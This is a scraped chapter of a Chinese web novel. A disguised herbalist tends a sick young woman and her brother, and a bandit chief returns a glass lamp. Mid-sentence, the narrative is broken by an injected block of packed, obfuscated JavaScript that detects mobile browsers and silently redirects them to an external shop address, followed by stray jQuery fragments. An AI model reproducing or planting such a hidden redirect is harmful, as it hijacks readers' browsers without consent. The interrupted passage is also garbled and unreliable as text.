文趣网 > 其他小说 > 追夫五百年(快穿) > 16.寨中王(15)
    “姐姐醒了?”

    徐子卿满含关切地凑来,又是心疼又是气恼,“不是教你不要乱动,怎会昏在地上,本就身子弱,什么病在你这儿,染上了都跟要半条命似的,若是着凉了,又该如何是好。”

    徐妙音坐起身,只觉喉间发痒,咳得一声叠着一声,几乎喘不上气。

    少年伸出手,慢慢落在她背上轻顺。

    徐妙音深感愧疚,止了嗽后,她勉提残力,浅淡开口:“只是渴了想喝水,未成想会变成这样,抱歉。”

    徐子卿听了,自责不已。

    是他这个做弟弟的,非要跑出去乱走……

    他咬紧牙关忍下眼中打转的薄泪,不知该如何再讲。

    瞧他神情难安,徐妙音心头滞痛,她抚上了他的肩头,那目光恬和,仿佛在说:“我没事,不要为我担心了。”

    徐妙音忽撇到弟弟那只骨节泛着青红交加的手背,“怎么受伤了?”

    “只是不小心碰到了。”徐子卿搪塞道。

    徐妙音没多追问,徐徐回眸,望向床边的陌生少女。她抿住了苍白唇瓣,微微漾开一抹笑,“对不住,虽不晓得姑娘的来历,此番失态,让你见笑了。”

    “哪里哪里。”

    一语未休,虞兮立时应声。

    徐子卿沉郁稍散,现下,总不能让两位女人家干坐着难堪,遂主动引荐:“她名叫小桃红,幼时曾与咱们一处嬉闹过,后来…后来…呃……”

    他顿了顿,在脑海中努力追忆“小桃红”的影子,偏奈就是没有印象。

    虞兮自是清楚他不记得。

    凭空捏造出来的身份,有这个人才怪了。

    她忙作出一副亲近的模样,接住话头:“后来我举家搬迁,自此一别,便不曾与你们姐弟相见了。”

    “是么?”

    徐妙音双眉渐渐拢起,心底萦绕了几分困惑,她注视着少女的面庞,那一派的热络,不见丝毫生分。

    ……

    许是真的?

    她暂且抛开疑窦,不再细思,唯有喟叹一句:“我病了,很多事情都糊涂了,竟忘记还有你这么一位小妹,勿要怪罪。”

    “姐姐这般说,反倒见外了。”

    虞兮顺势执起她骨瘦如柴的手,暖在掌心,脸上堆着盈盈笑意,轻快地道:“令尊生前可没少帮衬过家父,如今姐姐偏又与我有缘,既然在这儿碰上了,少不得要温情一场,怎反教我去为难呢?”

    徐妙音低下眼帘。

    对方热情恳切,她无从婉拒,却也寻不出合适的言辞,只柔柔应了声:“是了。”

    虞兮欲意与之交好,见她举止局促,一时不知该怎样拉近距离,因问:“常服什么药?怎还病着呢?”

    徐妙音回:“我也不清是什么药,医馆里的大夫诊视后开了一张方子,只按那上面去抓,煎成汤来喝。”

    虞兮“哦”了一下,她沉吟片刻,讲:“既如此,我来为姐姐煮药吧。”

    “这怎可使得?”徐妙音轻声推却。

    虞兮笑容不改,“本就是空手登门,倘若不能为姐姐尽些心力,我倒不好意思了。”

    “哎?刚好。”

    候在一旁的徐子卿离柜子近便,他拉开抽屉,里头恰好余下一包药材,他取出递与她。

    虞兮接过,放到鼻下嗅闻。

    忽而,她蹙紧了秀眉。

    有几味药,是否太烈了,徐妙音这小身子骨能承受得住么?

    虞兮暗自思忖。

    她面色如常,问:“姐姐平时都吃些什么,有什么忌口,大夫可有交代?”

    徐妙音摇了摇首,“只说不能沾荤腥,其他并无交代。”

    虞兮闻言,沉下脸来,偷骂了一声。

    何方庸医,焉可如此开药?

    徐妙音的病根一眼就知,是长年累月熬出来的。

    凭何如此讲呢?

    陈年旧疾最先要做得便是调理,需多食滋养之物,再喝温和的药品,待气血补益后,才能服用猛药。若本末倒置,一上来便喝烈药,不过压制表象,治标不治本,还会更进一步掏空本就亏虚的身体。

    想来医治徐妙音的那位大夫,怕是有意而为之。学医之人怎会不知固本培元?这般迁延日久,徐家需不断购置药材,医馆也能长久获利。

    这疾患说好治,却也难治。

    药倒是好说,只那玉馔珍馐岂是平常百姓家吃得起的,需要大量的银钱来买才行。

    虞兮无奈叹了一口气,她支下一具小炉,坐在板凳上,用长柄的勺子缓缓搅动罐中黑漆漆的汤药。

    气味瞬间漫延整个房间,熏得人呼吸间苦涩无比。

    “吃完这最后一剂,重新找大夫再配个方子吧。”

    炭火轻烧,橘红暖光映在虞兮半边面容,她又拿起一把蒲扇,朝炉底微微扇了几下。

    炕头上坐着的徐家姐弟闻声,一同抬眼望来,眸中皆是不解。

    “不怕两位道我交浅言深,今日我便直说了罢,依我看,姐姐的主治大夫,存了私心。”

    话音落下,虞兮将揣测与顾虑尽数如实相告。

    姐弟二人听了,对视片刻,眉宇间凝起愁绪。他们一齐怅然低叹。

    “怎会如此?”

    徐子卿怔忡了一会子,随即问:“妹妹怎知晓这多?”

    “学了些医书。”虞兮从容回道。

    徐妙音膝上覆着薄被,她垂头,默然思量。

    弟弟要读书,刨除一日三餐柴米油盐,哪里还有多余的银子再找大夫?

    徐妙音举帕遮在唇边,咳了几声,缓缓开口:“不找了,还是按照旧方子抓吧。”

    “这怎么能行!”

    徐子卿心口骤然一紧,急声道:“若是为难银钱一事,我明日便出去,替人代写书信,多少能赚些。”

    虞兮在旁,将两人的愁苦模样尽收眼底,适时,出言劝慰:“二位不必焦灼,若是肯信我一回,此事不妨交由我来。”

    “这……”

    徐家姐弟犯了难。

    虞兮淡淡一笑,“我知晓二位的难处,忧心亏欠人情,亦害怕白费功夫,而且事关人命,不敢轻易犯嫌。”

    “只是,比起迟疑观望,眼下护住身子才最要紧,先试上一个月,若是依旧不见好转,你们自然也看得出来,到那时,我绝不强求你们改方子。”她说着,语气多了几分郑重。

    徐妙音忖度了几番。

    小桃红姑娘不像坏人,或许,可以听一听……

    她终是下了决定,道:“既是如此,死马当活马医吧。”

    虞兮大喜,忙唤徐子卿取来纸笔,她一句一句念着,由他伏案誊写,逐字抄录。

    待到最后一字落墨后,徐子卿对着窗光阅览一遍,而后折好纸张,收到袖袋。

    炉子上的药壶不断咕嘟翻滚,热气丝丝缕缕从壶口溢出。

    虞兮敛神,用麻巾裹住瓷柄,将沸腾的汤倒入碗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745825|207840||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中,她小心翼翼端给徐妙音,不忘嘱咐:“小心烫。”

    诸事安排妥当,虞兮一望天色,已尚晚了。她不宜久留,毕竟郎先生还在等她归还。

    虞兮稍作寒暄,随意找了个理由便要辞别,徐妙音强撑起身子正欲相送,被她抬手婉拒,只再三叮咛要安心静养,并承诺,日后会再来看望。

    简单道别了几句,她迈步走出院子。

    -

    滕萧今天回来得格外早。他没再照常去晒场,只打来凉水,净完了身,就回屋歇息了。

    他仰躺在床榻,两只手臂交叠枕头,浓墨般的眼凝向昏黑房梁,不觉怔了半响,脑中渐生纷乱。

    时辰尚早,他全无睡意。

    隔壁…似是有些安静?

    滕萧别过脸去,心底默然一转,收回思绪,暗自冷忖:

    “与我何干。”

    视线陡然落向一旁的柜案,案头上,静静置着一盏琉璃灯。

    正是前些日,那女人送来饺子时,一齐留下的。

    他当初将此物带回,无非是看出它价格不俗,并无别意。

    毕竟,他可不想欠她什么。

    须寻个机会,尽早送还。

    蓦地忆起,朗博元同她来往颇为密切。

    心想,不如借他之手。

    滕萧一掌抵住榻沿,径直而起,他垂眸拾起琉璃盏,阔步踏出。

    才走到半路,迎面撞见一名值守的弟兄,那人看他独手持灯,上前拱手施礼,问:“大哥这是要去往何处?”

    滕萧低眉压下神色,不置一词。

    小弟见状又道:“大哥若是寻二叔,他自正午时分,便同小桃红姑娘外出了。”

    滕萧眼睫微动,侧首看向那人,语气无甚起伏:“去哪了。”

    那小弟“嗯”了许久,似乎是在思考,“好像去机关密道那儿。”

    滕萧听此,指节骤然收紧。

    灯火摇曳不定,光晕晃过,衬得那张冷硬的面庞寒冽逼人。

    骇得小弟心头发紧,咽了口唾沫。

    大当家脸色怎么一下子变这么凶?难不成,他讲错话了?

    滕萧未曾多作解释,转身离开。

    他脚步一转,折返回了院落,去到隔壁。

    门扉砰地轰然一响,整间屋子貌似都震了一震。

    目光逡巡一圈,果是渺无人迹。

    看来方才下属报来的信息句句属实。

    正要将琉璃盏搁在她案前,展眼,却看到桌边的绣绷,上头还洇了几小滴血渍。

    滕萧手一顿,回想起那日,偶然瞥见她指尖刺目的红痕。

    这丫头,居然是在学做女工?

    暗暗思忖间,门外传来两道由远及近的脚步声。

    朗博元与虞兮一前一后,已然回来了,他们远远望到一道峻挺宽厚的背影,愣住一息。

    “大当家。”郎二叔拄着拐,迈至前方,唤了一句。

    滕萧旋身回看,面上压着一层愠色,“寨中的机密重地,你何故带外人涉足?”

    朗博元坦然答话:“小桃红姑娘心地良善,于我而言早已不是外人。”

    滕萧闻言,哼出一声冷嗤:“二叔莫要被她骗了。”,说罢,再不肯多言,拂袖离去。

    虞兮一时说不清是何种滋味,目光忽见桌案上那物件。

    咦?那不是自己的琉璃灯么?

    她原以为,他早随手扔了,如今竟还知道还回来……